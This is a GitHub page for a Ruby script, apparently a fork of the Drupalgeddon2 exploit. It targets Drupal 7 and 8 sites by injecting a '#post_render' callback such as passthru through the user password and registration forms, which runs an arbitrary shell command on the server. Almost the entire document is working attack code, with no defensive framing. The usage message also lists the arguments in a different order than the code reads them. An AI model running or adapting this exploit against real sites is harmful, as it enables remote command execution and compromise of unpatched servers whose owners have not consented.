forked from dreadlocked/Drupalgeddon2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
drupalgeddon2-not-write-shell.rb
executable file
·165 lines (126 loc) · 3.89 KB
/
drupalgeddon2-not-write-shell.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env ruby
# This version works both Drupal 8.X and Drupal 7.X
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'nokogiri'
class Target
# host = Host URL -> http://example.com
# PHP method to use, by default passtrhu
# command = Command to execute
def initialize(host,command,php_method='passthru',form_path=0)
@host = host
@method = php_method
@command = command
@uri = URI(host)
@form_path = form_path
@http = create_http
end
def success
puts "[+] Target seems to be exploitable! w00hooOO!"
end
def failed(msg)
puts "[!] Target does NOT seem to be exploitable: " + msg
exit
end
def create_http
http = Net::HTTP.new(@uri.host, @uri.port)
# Use SSL/TLS if needed
if @uri.scheme == 'https'
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
return http
end
def check_response(response)
if response.code == "200"
success
else
failed("Response: " + response.code)
end
end
end
class Drupal8 < Target
def initialize(host,command,php_method='passthru',form_path=0)
super(host,command,php_method,form_path)
end
# Not finished yet
def exploit
# Make the request
req = Net::HTTP::Post.new(URI.encode("/user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax"))
req.body = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + @method + "&mail[a][#type]=markup&mail[a][#markup]=" + @command
response = @http.request(req)
check_response(response)
puts response.body
end
end
class Drupal7 < Target
def initialize(host,command,php_method='passthru',form_path=0)
super(host,command,php_method,form_path)
end
def get_form_build_id(response)
page = Nokogiri::HTML(response)
form = page.css('form#user-pass')
return /<input type="hidden" name="form_build_id" value="([^"]+)"/.match(form.to_s)[1]
end
def exploit
payload = URI.encode("name[#post_render][]=#{@method}&name[#markup]=#{@command}&name[#type]=markup")
if @form_path == 0 then
form = '/?q=user/password&'
form2 = '?q=file'
else
form = '/user/password/?'
form2 = 'file'
end
payload = form + payload
puts "Requesting: " + @uri.host + payload
puts "POST: " + 'form_id=user_pass&_triggering_element_name=name'
#
# => First request, trying to obtain form_build_id
#
req = Net::HTTP::Post.new(payload)
req.body = 'form_id=user_pass&_triggering_element_name=name'
response = @http.request(req)
puts response.code
form_build_id = get_form_build_id(response.body)
puts "[*] Obtained build id!: #{form_build_id}"
post_parameters = "form_build_id=#{form_build_id}"
#
# => Second Request
#
req = Net::HTTP::Post.new(URI.encode("/#{form2}/ajax/name/#value/#{form_build_id}"))
puts "Requesting: " + @uri.host + URI.encode("/#{form2}/ajax/name/#value/#{form_build_id}")
puts "POST: " + post_parameters
req.body = post_parameters
response = @http.request(req)
puts "Response code: " + response.code
if response.body.split('[{"command"')[0] == ""
if(@command != 'id')
failed("Maybe incorrect input command, try simple command as 'id'")
end
failed("")
end
puts response.body.split('[{"command"')[0]
end
end
# Quick how to use
if ARGV.empty? || ARGV.length < 2 || ARGV[0] == "-h" || ARGV[0] == "--help"
puts "Usage: ruby drupalggedon2.rb <target> <version [7,8]> <command> [php_method] [form_path]"
puts " ruby drupalgeddon2.rb 7 https://example.com whoami passtrhu [0,1]"
puts "form_path: 0 => Vulnerable form on /?q=user/password"
puts "form_path: 1 => Vulnerable form on /user/password"
exit
end
# Read in values
target = ARGV[0]
version = ARGV[1]
command = ARGV[2]
php_method = ARGV[3] || 'passthru'
form_path = ARGV[4] || 0
if version == "7"
drupal = Drupal7.new(target,command,php_method,form_path)
else
drupal = Drupal8.new(target,command,php_method,form_path)
end
drupal.exploit